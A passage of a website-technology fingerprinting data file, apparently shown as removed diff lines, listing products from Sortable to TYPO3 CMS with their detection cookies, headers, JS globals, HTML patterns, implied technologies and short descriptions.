broad-spectrum platform that helps publishers unify demand partners, data, and tools.", - "website": "https://sortable.com" - }, - "Sorted Return": { - "js": [ - "clicksit_window_on_load" - ], - "description": "Sorted is a global SaaS company that provides data-driven software for checkouts, warehouses, and shipping.", - "website": "https://sorted.com/give-your-customers-a-5-returns-experience/" - }, - "SoteShop": { - "cookies": { - "soteshop": "^\\w+$" - }, - "implies": [ - "PHP" - ], - "description": "SoteShop is an e-shop management software.", - "website": "https://www.soteshop.com/" - }, - "Sotel": { - "meta": { - "generator": [ - "sotel" - ] - }, - "website": "https://www.soteledu.com/en/" - }, - "Sotoon": { - "headers": { - "server": "^sotoon$" - }, - "description": "Sotoon is a CDN provider serving users specially in the MENA region.", - "website": "https://sotoon.ir" - }, - "SoundCloud": { - "js": [ - "sc.widget.events.play" - ], - "description": "SoundCloud widget gives you the ability to upload, manage and share tracks.", - "website": "https://developers.soundcloud.com/docs/api/html5-widget" - }, - "SoundManager": { - "js": [ - "soundmanager.version", - "baconplayer", - "soundmanager" - ], - "website": "http://www.schillmania.com/projects/soundmanager2" - }, - "Sourcepoint": { - "cookies": { - "_sp_enable_dfp_personalized_ads": "" - }, - "js": [ - "tealium_sourcepoint" - ], - "description": "Sourcepoint is the data privacy software company for the digital marketing ecosystem.", - "website": "https://sourcepoint.com" - }, - "Sovrn": { - "js": [ - "sovrn", - "sovrn_render" - ], - "description": "Sovrn is a advertising products and services provider for publishers.", - "website": "https://www.sovrn.com" - }, - "Sovrn//Commerce": { - "js": [ - "vglnk", - "vl_cb", - "vl_disable" - ], - "description": "Sovrn//Commerce is a content monetization tool for publishers.", - "website": "https://www.sovrn.com/publishers/commerce/" - }, - "SparkPost": { - "description": "SparkPost is an email infrastructure provider.", - "website": "https://www.sparkpost.com/" - }, - "Spatie Laravel Cookie Consent": { - "js": [ - "laravelcookieconsent" - ], - "implies": [ - "Laravel" - ], - "description": "Spatie Laravel Cookie Consent is a banner that is displayed on websites to ask visitors for consent for the use of cookies.", - "website": "https://github.com/spatie/laravel-cookie-consent" - }, - "Spatie Media Library Pro": { - "implies": [ - "Laravel" - ], - "description": "Spatie Media Library Pro is a set of customizable UI components for Spatie Media Library.", - "website": "https://medialibrary.pro" - }, - "Spatie Support Bubble": { - "implies": [ - "Laravel", - "Tailwind CSS" - ], - "description": "Spatie Support Bubble is a non-intrusive support form.", - "website": "https://github.com/spatie/laravel-support-bubble" - }, - "Spectra": { - "implies": [ - "Gutenberg" - ], - "description": "Spectra is a WordPress plugin that provides a collection of new and enhanced blocks for the Gutenberg editor.", - "website": "https://wpspectra.com" - }, - "Speed Kit": { - "js": [ - "speedkit" - ], - "description": "Speed Kit develops a performance add-on that uses caching algorithms to minimize loading times of ecommerce websites.", - "website": "https://www.speedkit.com" - }, - "SpeedCurve": { - "js": [ - "lux.version", - "lux_t_end", - "lux_t_start" - ], - "description": "SpeedCurve is a front-end performance monitoring service.", - "website": "https://www.speedcurve.com" - }, - "SpeedSize": { - "description": "SpeedSize is an AI-based media-compression technology that can auto-detect and compress all of a website's images and videos down to 99% of their original size without lowering the image quality.", - "website": "https://speedsize.com" - }, - "Speedimize": { - "description": "Speedimize is a Shopify agency that focuses on website speed optimisation and performance issues.", - "website": "https://speedimize.io" - }, - "Sphinx": { - "js": [ - "documentation_options" - ], - "html": [ - "created using \u003ca href=\"https?://(?:www\\.)?sphinx-doc\\.org/\"\u003esphinx\u003c/a\u003e ([0-9.]+)\\.\\;version:\\1" - ], - "description": "Sphinx is a tool that makes it easy to create documentation.", - "website": "https://www.sphinx-doc.org/" - }, - "SpiceThemes SpicePress": { - "description": "SpicePress is a responsive and fully customizable business template by SpiceThemes.", - "website": "https://spicethemes.com/spicepress-wordpress-theme" - }, - "Spin-a-Sale": { - "description": "Spin-a-Sale adds the intensity of gamification to your site. Spin-a-Sale overlay displays a special prize wheel for visitors that you can fully configure.", - "website": "https://spinasale.com" - }, - "Spinnakr": { - "js": [ - "_spinnakr_site_id" - ], - "description": "Spinnakr is a startup with a platform designed to personalise messages on blogs and websites.", - "website": "https://www.spinnakr.com" - }, - "SpiritShop": { - "cookies": { - "spiritshop_id": "" - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "SpiritShop is an ecommerce plataform.", - "website": "https://spiritshop.com.br" - }, - "Splide": { - "js": [ - "splide.states", - "splide.name" - ], - "description": "Splide.js is a lightweight, responsive, and customizable slider and carousel library for JavaScript.", - "website": "https://splidejs.com" - }, - "Split": { - "js": [ - "splitio_api_key", - "split_shopper_client", - "split_visitor_client", - "splitio" - ], - "description": "Split is a feature delivery platform that powers feature flag management, software experimentation, and continuous delivery.", - "website": "https://www.split.io" - }, - "SplitIt": { - "js": [ - "splitit", - "wc_ga_pro.available_gateways.splitit" - ], - "description": "SplitIt is a payment solution that divides a purchase into smaller monthly installments.", - "website": "https://www.splitit.com" - }, - "Splitbee": { - "js": [ - "splitbee" - ], - "website": "https://splitbee.io" - }, - "SplittyPay": { - "description": "SplittyPay is an alternative payment platform designed for group reservations and purchases.", - "website": "https://www.splittypay.com" - }, - "Splunk RUM": { - "js": [ - "plumbr._core.selfurl", - "plumbr._core.version" - ], - "description": "Splunk RUM is a real-time, front-end user monitoring and troubleshooting.", - "website": "https://www.splunk.com/en_us/observability/real-user-monitoring.html" - }, - "Splunkd": { - "headers": { - "server": "splunkd" - }, - "description": "Splunkd is the system process that handles indexing, searching, forwarding.", - "website": "http://splunk.com" - }, - "SpotHopper": { - "js": [ - "spothopper" - ], - "description": "SpotHopper is an all-in-one marketing and online revenue platform for restaurants.", - "website": "https://www.spothopperapp.com" - }, - "SpotX": { - "js": [ - "spotx.version" - ], - "description": "SpotX is a video advertising platform.", - "website": "https://www.spotx.tv" - }, - "Spotify Web API": { - "js": [ - "getspotifydata", - "spotify_tracks", - "spotifyme" - ], - "description": "Spotify Web API endpoints return JSON metadata about music artists, albums, and tracks, directly from the Spotify Data Catalogue.", - "website": "https://developer.spotify.com/documentation/web-api" - }, - "Spotify Widgets": { - "description": "Spotify Widgets provide an embeddable view of a track, artist, album, user, playlist, podcast or episode for use within your web project.", - "website": "https://developer.spotify.com/documentation/widgets" - }, - "Spotii": { - "js": [ - "spotiiconfig" - ], - "description": "Spotii is a tech-enabled payments platform where anyone can Shop Now and Pay Later with absolutely zero interest or cost.", - "website": "https://www.spotii.com/" - }, - "Spree": { - "html": [ - "(?:\u003clink[^\u003e]*/assets/store/all-[a-z\\d]{32}\\.css[^\u003e]+\u003e|\u003cscript\u003e\\s*spree\\.(?:routes|translations|api_key))" - ], - "implies": [ - "Ruby on Rails" - ], - "website": "https://spreecommerce.org" - }, - "Sprig": { - "js": [ - "userleap" - ], - "description": "Sprig is a UX analysis and management tool to understand what motivates customers to sign up, engage, and remain loyal to products.", - "website": "https://sprig.com" - }, - "Spring": { - "headers": { - "x-application-context": "" - }, - "implies": [ - "Java" - ], - "website": "https://spring.io/" - }, - "Spring for creators": { - "js": [ - "webpackjsonpteespring-custom-storefront" - ], - "description": "Spring for creators (formerly Teespring) is a creator-centric social ecommerce platform.", - "website": "https://www.spri.ng" - }, - "SprintHub": { - "js": [ - "sprinthub", - "sprinthubloaded" - ], - "description": "SprintHub is an all-in-one marketing platform.", - "website": "https://lp.sprinthub.com" - }, - "SpriteSpin": { - "js": [ - "spritespin" - ], - "description": "SpriteSpin is a JavaScript plugin that enables users to create 360-degree image spin animations on their websites.", - "website": "https://github.com/giniedp/spritespin" - }, - "Spryker": { - "js": [ - "spryker.config" - ], - "meta": { - "generator": [ - "spryker" - ] - }, - "description": "Spryker is a ecommerce technology platform that enables global enterprises to build transactional business models.", - "website": "https://www.spryker.com" - }, - "SpurIT": { - "js": [ - "spurit.global.version" - ], - "implies": [ - "Shopify" - ], - "description": "SpurIT is a team of certified Shopify experts which provide ecommerce software solutions.", - "website": "https://spur-i-t.com" - }, - "SpurIT Abandoned Cart Reminder": { - "js": [ - "acr_spurit_params.foldercss" - ], - "implies": [ - "Shopify" - ], - "description": "SpurIT Abandoned Cart Reminder bring back your Shopify store visitors who moved to another tab by blinking your store tab.", - "website": "https://spur-i-t.com/shopify-apps/abandoned-cart-reminder/" - }, - "SpurIT Loyalty App": { - "js": [ - "spurit.loyaltypoints" - ], - "implies": [ - "Shopify" - ], - "description": "SpurIT Loyalty App is a turnkey solution allowing you to reward existing customers in a number of ways.", - "website": "https://spur-i-t.com/shopify-apps/loyalty-points-manager" - }, - "SpurIT Partial Payments App": { - "implies": [ - "Shopify" - ], - "description": "SpurIT Partial Payments App allow your customers to pay for the order in several ways or to share a payment with other people.", - "website": "https://spur-i-t.com/shopify-apps/split-partial-payments/" - }, - "SpurIT Recurring Payments App": { - "js": [ - "spurit.recurringinvoices" - ], - "implies": [ - "Shopify" - ], - "description": "SpurIT Recurring Payments App is a simple way to create a system of bill payment,subscriptions and invoicing.", - "website": "https://spur-i-t.com/shopify-apps/recurring-order-subscription" - }, - "Sqreen": { - "headers": { - "x-protected-by": "^sqreen$" - }, - "description": "Sqreen is the application security platform for the modern enterprise. Acquired by Datadog in Apr 2021.", - "website": "https://sqreen.io" - }, - "Squadata": { - "description": "Squadata provides data based marketing and advertising solutions including email retargeting, CRM onboarding, data monetisation, data management platform.", - "website": "https://www.squadata.net" - }, - "Squadded": { - "implies": [ - "Cart Functionality" - ], - "description": "Squadded is a social ecommerce solution that allows visitors to shop together with their friends and with other members of the brands online community.", - "website": "https://www.squadded.co" - }, - "Square": { - "js": [ - "sqpaymentform", - "square.analytics", - "__bootstrap_state__.storeinfo.square_application_id" - ], - "description": "Square is a mobile payment company that offers business software, payment hardware products and small business services.", - "website": "https://squareup.com/" - }, - "Square Online": { - "js": [ - "app_origin" - ], - "implies": [ - "Weebly" - ], - "description": "Square Online is a subscription based service that provides ecommerce solutions to small and medium sized businesses.", - "website": "https://squareup.com/us/en/online-store" - }, - "Squarespace": { - "js": [ - "squarespace", - "static.squarespace_context.templateversion" - ], - "headers": { - "server": "squarespace" - }, - "description": "Squarespace provides Software-as-a-Service (SaaS) for website building and hosting, and allows users to use pre-built website templates.", - "website": "http://www.squarespace.com" - }, - "Squarespace Commerce": { - "js": [ - "squarespace_rollups.squarespace-commerce", - "static.squarespace_context.templateversion" - ], - "headers": { - "server": "squarespace" - }, - "implies": [ - "Squarespace" - ], - "description": "Squarespace Commerce is an ecommerce platform designed to facilitate the creation of websites and online stores, with domain registration and web hosting included.", - "website": "https://www.squarespace.com/ecommerce-website" - }, - "SquirrelMail": { - "js": [ - "squirrelmail_loginpage_onload" - ], - "html": [ - "\u003csmall\u003esquirrelmail version ([.\\d]+)[^\u003c]*\u003cbr \\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "SquirrelMail is an open-source web-mail package that is based on PHP language. It provides a web-based-email client and a proxy server for IMAP protocol.", - "website": "http://squirrelmail.org" - }, - "Squiz Matrix": { - "headers": { - "x-powered-by": "squiz matrix" - }, - "html": [ - "\u003c!--\\s+running (?:mysource|squiz) matrix" - ], - "meta": { - "generator": [ - "squiz matrix" - ] - }, - "implies": [ - "PHP" - ], - "description": "A flexible, low-code enterprise content management system designed to manage multiple sites with many editors.", - "website": "https://www.squiz.net/matrix" - }, - "Stack Analytix": { - "js": [ - "stackanalysis" - ], - "description": "Stack Analytix offers heatmaps, session recording, conversion analysis and user engagement tools.", - "website": "https://www.stackanalytix.com" - }, - "StackCommerce": { - "js": [ - "stacksonar" - ], - "description": "StackCommerce is a product discovery platform.", - "website": "https://www.stackcommerce.com/" - }, - "StackPath": { - "headers": { - "x-backend-server": "hosting\\.stackcp\\.net$", - "x-provided-by": "^stackcdn(?: ([\\d.]+))?\\;version:\\1" - }, - "description": "StackPath is a cloud computing and services provider.", - "website": "https://www.stackpath.com" - }, - "Stackable": { - "js": [ - "stackable.resturl", - "stackableanimations" - ], - "implies": [ - "Gutenberg" - ], - "description": "Stackable is a plugin for WordPress that offers a collection of blocks, templates, and other design tools to help users create custom, professional-looking websites.", - "website": "https://wpstackable.com" - }, - "Stackbit": { - "js": [ - "__next_data__.props.pageprops.withstackbit" - ], - "description": "Stackbit is a visual experience platform for building decoupled websites.", - "website": "https://www.stackbit.com" - }, - "StackerHQ": { - "js": [ - "stacker.install_feature" - ], - "description": "StackerHQ is a tool in the low code platforms and application builders categories.", - "website": "https://www.stackerhq.com" - }, - "Stackify": { - "description": "Stackify offers the only solution that fully integrates application performance monitoring with errors and logs.", - "website": "https://stackify.com" - }, - "Stage Try": { - "js": [ - "stage_cart_change_events", - "stage_cart_total_price" - ], - "description": "Stage Try is an end-to-end ecommerce platform amplifying AOV and conversions of online stores.", - "website": "https://stagetry.com" - }, - "Stamped": { - "js": [ - "stampedfn" - ], - "description": "Stamped is a provider of reviews and ratings solution.", - "website": "https://stamped.io/" - }, - "Starhost": { - "headers": { - "cache-control": "starhost", - "x-starhost": "" - }, - "description": "Starhost provides a Platform-as-a-Service (PaaS) for website building, web hosting, and domain registration.", - "website": "https://starhost.verbosec.com" - }, - "Starlet": { - "headers": { - "server": "^plack::handler::starlet" - }, - "implies": [ - "Perl" - ], - "website": "http://metacpan.org/pod/Starlet" - }, - "Statamic": { - "js": [ - "statamic" - ], - "headers": { - "x-powered-by": "^statamic$" - }, - "implies": [ - "PHP", - "Laravel" - ], - "description": "Statamic is an open-source and self-hosted content management system based on the PHP programming language.", - "website": "https://statamic.com" - }, - "Statcounter": { - "js": [ - "_statcounter", - "sc_project", - "sc_security" - ], - "website": "http://www.statcounter.com" - }, - "Statically": { - "headers": { - "server": "^statically$" - }, - "description": "Statically is a free, fast and modern CDN for open-source projects, WordPress, images, and any static assets.", - "website": "https://statically.io" - }, - "Statping": { - "description": "Statping is an open-source status monitoring tool that helps you to monitor and analyse the performance of your websites, applications, and services. It can monitor multiple endpoints such as HTTP, HTTPS, TCP, DNS, and more.", - "website": "https://github.com/statping/statping" - }, - "Statsig": { - "js": [ - "statsigwww", - "statsig", - "statsiginitialized" - ], - "headers": { - "x-statsig-region": "" - }, - "description": "Statsig is a modern product experimentation platform that helps product teams continuously measure impact of every single feature they launch.", - "website": "https://statsig.com/" - }, - "Status.io": { - "description": "Status.io is a hosted system status page manager with features such as customised incident tracking, subscriber notifications, and more.", - "website": "https://status.io" - }, - "StatusCast": { - "js": [ - "statuscast.libs.datatables", - "statuscast.ui" - ], - "description": "StatusCast is a hosted status page management software.", - "website": "https://statuscast.com/status-page/" - }, - "Statuspal": { - "description": "Statuspal is a hosted status page and monitoring software for businesses of all kinds.", - "website": "https://statuspal.io" - }, - "Staytus": { - "meta": { - "generator": [ - "^staytus/([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "Staytus is a free, open-source status site that you can install on your own servers.", - "website": "https://staytus.co" - }, - "SteelHouse": { - "description": "SteelHouse is an advertising software company which provides services for brands, agencies, and direct marketers.", - "website": "https://steelhouse.com" - }, - "Stencil": { - "js": [ - "stencil.inspect" - ], - "description": "Stenciljs is an open-source web component compiler that enables developers to create reusable, interoperable UI components that can work across different frameworks and platforms.", - "website": "https://stenciljs.com" - }, - "Stimulus": { - "html": [ - "\u003c[^\u003e]+data-controller" - ], - "description": "A modest JavaScript framework for the HTML you already have.", - "website": "https://stimulusjs.org/" - }, - "StimulusReflex": { - "implies": [ - "Ruby on Rails", - "Stimulus" - ], - "description": "StimulusReflex lets you create reactive web interfaces with Ruby on Rails.", - "website": "https://docs.stimulusreflex.com" - }, - "Stitches": { - "meta": { - "generator": [ - "^c-[a-za-z]{5}$" - ] - }, - "description": "Stitches is a is a CSS-in-JS styling framework with near-zero runtime, SSR, and multi-variant support.", - "website": "https://stitches.dev" - }, - "StoreHippo": { - "description": "StoreHippo is a SaaS based ecommerce platform.", - "website": "https://www.storehippo.com" - }, - "Storeden": { - "headers": { - "x-powered-by": "storeden" - }, - "website": "https://www.storeden.com" - }, - "Storefront UI": { - "implies": [ - "Vue.js" - ], - "description": "Storefront UI is an independent, Vue. js-based, library of UI components.", - "website": "https://vuestorefront.io/storefront-ui" - }, - "Storeino": { - "js": [ - "storeinoapp" - ], - "meta": { - "platform": [ - "^storeino$" - ] - }, - "implies": [ - "Express", - "MongoDB", - "Node.js" - ], - "description": "Storeino is an ecommerce platform that enables businesses and physical store owners to open a professional online store and sell products online regardless of their geographical location.", - "website": "https://www.storeino.com" - }, - "Storeplum": { - "description": "Storeplum is a no-code ecommerce platform.", - "website": "https://www.storeplum.com" - }, - "StorifyMe": { - "description": "StorifyMe is a storytelling platform for creating and distributing web stories on social networks and the open web.", - "website": "https://www.storifyme.com" - }, - "StoryStream": { - "description": "StoryStream is a content curation platform that specialises in user generated content.", - "website": "https://storystream.ai" - }, - "Storyblok": { - "js": [ - "storyblokbridge", - "storyblokregisterevent" - ], - "headers": { - "content-security-policy": "app\\.storyblok\\.com", - "x-frame-options": "app\\.storyblok\\.com" - }, - "description": "Storyblok is a headless CMS with a visual editor for developers, marketers and content editors. Storyblok helps your team to manage content and digital experiences for every use-case from corporate websites, ecommerce, helpdesks, mobile apps, screen displays, and more.", - "website": "https://www.storyblok.com" - }, - "Storybook": { - "js": [ - "__storybook_addons" - ], - "description": "Storybook is a frontend workshop for building UI components and pages in isolation.", - "website": "https://storybook.js.org" - }, - "Strapdown.js": { - "implies": [ - "Bootstrap", - "Google Code Prettify" - ], - "website": "http://strapdownjs.com" - }, - "Strapi": { - "headers": { - "x-powered-by": "^strapi" - }, - "description": "Strapi is an open-source headless CMS used for building fast and easily manageable APIs written in JavaScript.", - "website": "https://strapi.io" - }, - "Strato": { - "description": "Strato is an internet hosting service provider headquartered in Berlin, Germany which provide dedicated server hosting, a website builder and a cloud storage services.", - "website": "https://www.strato.com" - }, - "Strato Website": { - "js": [ - "strftime.configuration" - ], - "description": "Strato Website is a website builder by Strato hosting provider.", - "website": "https://www.strato.de/homepage-baukasten" - }, - "Strattic": { - "headers": { - "x-powered-by": "strattic" - }, - "implies": [ - "WordPress" - ], - "description": "Strattic offers static and headless hosting for WordPress sites.", - "website": "https://www.strattic.com/" - }, - "Strikingly": { - "html": [ - "\u003c!-- powered by strikingly\\.com" - ], - "website": "https://strikingly.com" - }, - "Stripe": { - "cookies": { - "__stripe_mid": "", - "__stripe_sid": "" - }, - "js": [ - "stripe.version", - "__next_data__.props.pageprops.appsettings.stripe_api_public_key", - "checkout.enabledpayments.stripe" - ], - "html": [ - "\u003cinput[^\u003e]+data-stripe" - ], - "description": "Stripe offers online payment processing for internet businesses as well as fraud prevention, invoicing and subscription management.", - "website": "http://stripe.com" - }, - "StrutFit": { - "js": [ - "rerenderstrutfit" - ], - "description": "StrutFit is an online sizing platform for footwear retailers.", - "website": "https://www.strut.fit" - }, - "Stylitics": { - "js": [ - "stylitics", - "stylitics" - ], - "description": "Stylitics is a cloud-based SaaS platform for retailers to automate and distribute visual content at scale.", - "website": "https://stylitics.com" - }, - "Sub2Tech": { - "js": [ - "sub2.codebaseversion" - ], - "description": "Sub2Tech is combining real time customer data with industry-leading technology.", - "website": "https://www.sub2tech.com" - }, - "Subbly": { - "js": [ - "subblyproducturlbase" - ], - "meta": { - "generator": [ - "^subbly$" - ] - }, - "description": "Subbly is a web-based subscription ecommerce platform designed to help businesses build websites, enhance marketing automation, create coupon and discount codes and manage customers.", - "website": "https://www.subbly.co" - }, - "Sublime": { - "js": [ - "loadsublimeskinz" - ], - "description": "Sublime (formerly Sublime Skinz) operator of an advertising agency intended to offer skin-based advertising services to clients.", - "website": "https://www.sublime.xyz" - }, - "SublimeVideo": { - "js": [ - "sublimevideo" - ], - "description": "SublimeVideo is a framework for HTML5 Video Player.", - "website": "http://sublimevideo.net" - }, - "Subrion": { - "headers": { - "x-powered-cms": "subrion cms" - }, - "meta": { - "generator": [ - "^subrion " - ] - }, - "implies": [ - "PHP" - ], - "website": "http://subrion.com" - }, - "Substack": { - "headers": { - "x-cluster": "substack", - "x-served-by": "substack" - }, - "description": "Substack is an American online platform that provides publishing, payment, analytics, and design infrastructure to support subscription newsletters.", - "website": "http://substack.com/" - }, - "Sucuri": { - "headers": { - "x-sucuri-cache:": "", - "x-sucuri-id": "" - }, - "description": "Sucuri is a WordPress security plugin used to protect websites from malware and hacks.", - "website": "https://sucuri.net/" - }, - "Suiteshare": { - "description": "Suiteshare powers conversational shopping experiences.", - "website": "https://suiteshare.com/" - }, - "Sulu": { - "js": [ - "sulu_config.suluversion" - ], - "headers": { - "x-generator": "sulu/?(.+)?$\\;version:\\1" - }, - "implies": [ - "Symfony" - ], - "description": "Sulu is the go-to CMS for back-end projects written within the PHP Symfony framework.", - "website": "http://sulu.io" - }, - "SummerCart": { - "js": [ - "scevents" - ], - "implies": [ - "PHP" - ], - "description": "SummerCart is an ecommerce platform written in PHP.", - "website": "http://www.summercart.com" - }, - "Sumo": { - "js": [ - "sumo", - "sumome" - ], - "description": "Sumo is a plugin offering set of marketing tools to automate a website's growth. These tools help drive extra traffic, engage visitors, increase email subscribers and build community.", - "website": "http://sumo.com" - }, - "SunOS": { - "headers": { - "server": "sunos( [\\d\\.]+)?\\;version:\\1", - "servlet-engine": "sunos( [\\d\\.]+)?\\;version:\\1" - }, - "description": "SunOS is a Unix-branded operating system developed by Sun Microsystems for their workstation and server computer systems.", - "website": "http://oracle.com/solaris" - }, - "Suncel": { - "js": [ - "__next_data__.props.pageprops.suncel" - ], - "description": "Suncel is a powerful and versatile content platform with a simple visual builder for marketers and publishers.", - "website": "https://suncel.io" - }, - "Super Builder": { - "implies": [ - "Notion", - "Next.js" - ], - "description": "Super Builder is a new tool for creating sleek landing pages right in Notion.", - "website": "https://super.so" - }, - "Super Socializer": { - "description": "Super Socializer is a multipurpose social media plugin for WordPress.", - "website": "https://super-socializer-wordpress.heateor.com" - }, - "SuperLemon app": { - "implies": [ - "WhatsApp Business Chat" - ], - "description": "SuperLemon app is an all-in-one WhatsApp plugin for Shopify stores.", - "website": "https://apps.shopify.com/whatsapp-chat-button" - }, - "SuperPWA": { - "js": [ - "superpwa_sw" - ], - "implies": [ - "WordPress", - "PWA" - ], - "description": "SuperPWA helps to easily convert your WordPress website into Progressive Web Apps instantly through our widely used PWA software without in coding.", - "website": "https://superpwa.com" - }, - "Supersized": { - "website": "http://buildinternet.com/project/supersized" - }, - "Superspeed": { - "implies": [ - "Shopify" - ], - "description": "Superspeed is a page speed optimizer app for Shopify based sites.", - "website": "https://apps.shopify.com/superspeed-free-speed-boost" - }, - "Support Hero": { - "js": [ - "supportherowidget", - "supporthero" - ], - "description": "Support Hero is a knowledge base solution to reduce inbound support requests.", - "website": "https://www.supporthero.com/" - }, - "Survicate": { - "js": [ - "survicate" - ], - "headers": { - "content-security-policy": "api\\.survicate\\.com" - }, - "description": "Survicate is an all-in-one customer feedback tool that allows you collect feedback.", - "website": "https://survicate.com" - }, - "Svbtle": { - "meta": { - "generator": [ - "^svbtle\\.com$" - ] - }, - "website": "https://www.svbtle.com" - }, - "Svelte": { - "description": "Svelte is a free and open-source front end compiler created by Rich Harris and maintained by the Svelte core team members.", - "website": "https://svelte.dev" - }, - "SvelteKit": { - "implies": [ - "Svelte", - "Node.js", - "Vite" - ], - "description": "SvelteKit is the official Svelte framework for building web applications with a flexible filesystem-based routing.", - "website": "https://kit.svelte.dev" - }, - "Swagger UI": { - "description": "Swagger UI is a collection of HTML, JavaScript, and CSS assets that dynamically generate documentation from a Swagger-compliant API.", - "website": "https://swagger.io/tools/swagger-ui" - }, - "Swagify": { - "js": [ - "swagify" - ], - "description": "Swagify allows you to upsell, cross-sell, and promote, by creating as many completely customizable offers as you want.", - "website": "https://swagifyapp.com" - }, - "SweetAlert": { - "html": [ - "\u003clink[^\u003e]+?href=\"[^\"]+sweet-alert(?:\\.min)?\\.css" - ], - "description": "SweetAlert is a beautiful replacement for JavaScript's alert.", - "website": "https://sweetalert.js.org" - }, - "SweetAlert2": { - "js": [ - "sweetalert2" - ], - "html": [ - "\u003clink[^\u003e]+?href=\"[^\"]+sweetalert2(?:\\.min)?\\.css" - ], - "description": "SweetAlert2 is a beautiful, responsive, customizable, accessible replacement for JavaScript's popup boxes.", - "website": "https://sweetalert2.github.io/" - }, - "Swell": { - "cookies": { - "swell-session": "" - }, - "js": [ - "swell.version" - ], - "html": [ - "\u003c[^\u003e]*swell\\.is", - "\u003c[^\u003e]*swell\\.store", - "\u003c[^\u003e]*schema\\.io" - ], - "description": "Swell is a headless ecommerce platform for modern brands, startups, and agencies.", - "website": "https://www.swell.is/" - }, - "Swiffy Slider": { - "description": "Swiffy Slider is a wrapper defined in html with slides, navigation and indicators as its children.", - "website": "https://swiffyslider.com" - }, - "Swiftype": { - "js": [ - "swiftype" - ], - "description": "Swiftype provides search software for organisations, websites, and computer programs.", - "website": "http://swiftype.com" - }, - "Swiper": { - "js": [ - "swiper" - ], - "description": "Swiper is a JavaScript library that creates modern touch sliders with hardware-accelerated transitions.", - "website": "https://swiperjs.com" - }, - "Swym Wishlist Plus": { - "js": [ - "swappname", - "swymcart.attributes" - ], - "implies": [ - "Shopify" - ], - "description": "Swym Wishlist Plus enables your customers to bookmark their favorite products and pick up where they left off when they return.", - "website": "https://swym.it/apps/wishlist/" - }, - "Sylius": { - "implies": [ - "Symfony" - ], - "description": "Sylius is an open-source ecommerce framework based on Symfony full stack.", - "website": "https://sylius.com" - }, - "Symfony": { - "cookies": { - "sf_redirect": "" - }, - "js": [ - "sfjs" - ], - "implies": [ - "PHP" - ], - "description": "Symfony is a PHP web application framework and a set of reusable PHP components/libraries.", - "website": "https://symfony.com" - }, - "Sympa": { - "html": [ - "\u003ca href=\"https?://www\\.sympa\\.org\"\u003e\\s*powered by sympa\\s*\u003c/a\u003e" - ], - "meta": { - "generator": [ - "^sympa$" - ] - }, - "implies": [ - "Perl" - ], - "description": "Sympa is an open-source mailing list management (MLM) software.", - "website": "https://www.sympa.org/" - }, - "Syndeca": { - "js": [ - "syndecaanalyticsobject" - ], - "description": "Syndeca is a visual commerce platform that allows brands to quickly create engaging, actionable campaigns.", - "website": "https://www.syndeca.com" - }, - "Synerise": { - "website": "https://synerise.com/" - }, - "Synology DiskStation": { - "html": [ - "\u003cnoscript\u003e\u003cdiv class='syno-no-script'" - ], - "meta": { - "application-name": [ - "synology diskstation" - ], - "description": [ - "^diskstation provides a full-featured network attached storage" - ] - }, - "description": "DiskStation provides a full-featured network attached storage.", - "website": "http://synology.com" - }, - "SyntaxHighlighter": { - "js": [ - "syntaxhighlighter" - ], - "html": [ - "\u003c(?:script|link)[^\u003e]*sh(?:core|brush|themedefault)" - ], - "website": "https://github.com/syntaxhighlighter" - }, - "Systeme.io": { - "description": "Systeme.io is an all-in-one marketing platform that helps businesses create and launch sales funnels, affiliate programs, email marketing campaigns, online courses, blogs, and websites.", - "website": "https://systeme.io" - }, - "Syte": { - "js": [ - "syteapi.getbinimagebb", - "syteapp.analytics", - "sytepixel" - ], - "description": "Syte is a provider of visual AI technology that aims to improve retailers' site navigation, product discovery, and user experience by powering solutions that engage and convert shoppers.", - "website": "https://www.syte.ai" - }, - "T-Soft": { - "html": [ - "\u003ca href=\"http://www\\.tsoft\\.com\\.tr\" target=\"_blank\" title=\"t-soft e-ticaret sistemleri\"\u003e" - ], - "website": "https://www.tsoft.com.tr/" - }, - "T1 Comercios": { - "meta": { - "generator": [ - "^t1comercios$" - ] - }, - "description": "T1 Comercios is an integrator platform with marketplaces(https://www.claroshop.com/,https://www.sears.com.mx/,https://www.sanborns.com.mx/).", - "website": "https://www.t1comercios.com" - }, - "T1 Envios": { - "meta": { - "generator": [ - "^t1envios$" - ] - }, - "description": "T1 Envios is a delivery solution, allows the business to select the best courier to send their packages.", - "website": "https://t1envios.com" - }, - "T1 Paginas": { - "meta": { - "generator": [ - "^t1paginas$" - ] - }, - "implies": [ - "AngularJS", - "Node.js", - "MongoDB" - ], - "description": "T1 Paginas is an ecommerce platform.", - "website": "https://t1paginas.com" - }, - "T1 Pagos": { - "meta": { - "generator": [ - "^t1pagos$" - ] - }, - "description": "T1 Pagos is a payment processing platform.", - "website": "https://www.t1pagos.com" - }, - "TCAdmin": { - "js": [ - "tcadmin" - ], - "description": "TCAdmin is the game hosting control panel.", - "website": "https://www.tcadmin.com" - }, - "TDesign": { - "description": "TDesign launched by Tencent contains rich and reusable design component resources, such as color system, text system, motion design, etc.", - "website": "https://tdesign.tencent.com" - }, - "THG Ingenuity": { - "description": "THG Ingenuity is completely unique in that it's both a peer-to-peer ecommerce retailer and a service provider to global cross-border commerce operations.", - "website": "https://www.thgingenuity.com" - }, - "TN Express Web": { - "cookies": { - "tnew": "" - }, - "implies": [ - "Tessitura" - ], - "description": "Tessitura is an enterprise application to manage activities in ticketing, fundraising, customer relationship management, and marketing.", - "website": "https://www.tessituranetwork.com" - }, - "TNS Payments": { - "description": "TNS Payments, is designed to deliver payment transaction information to banks, merchants, processors and other payment institutions.", - "website": "https://tnsi.com/products/payments/" - }, - "TRISOshop": { - "description": "TRISOshop is an ecommerce platform.", - "website": "https://www.trisoshop.pl" - }, - "TRUENDO": { - "js": [ - "truendo", - "truendocookiecontrolcallback" - ], - "description": "TRUENDO is a GDPR compliance software.", - "website": "https://truendo.com" - }, - "TVSquared": { - "js": [ - "_tvq", - "tv2track" - ], - "description": "TVSquared is a cross-platform TV ad measurement, analytics and optimisation platform.", - "website": "https://www.tvsquared.com" - }, - "TWiki": { - "cookies": { - "twikisid": "" - }, - "html": [ - "\u003cimg [^\u003e]*(?:title|alt)=\"this site is powered by the twiki collaboration platform" - ], - "implies": [ - "Perl" - ], - "description": "TWiki is an open-source wiki and application platform.", - "website": "http://twiki.org" - }, - "TYPO3 CMS": { - "html": [ - "\u003clink[^\u003e]+ 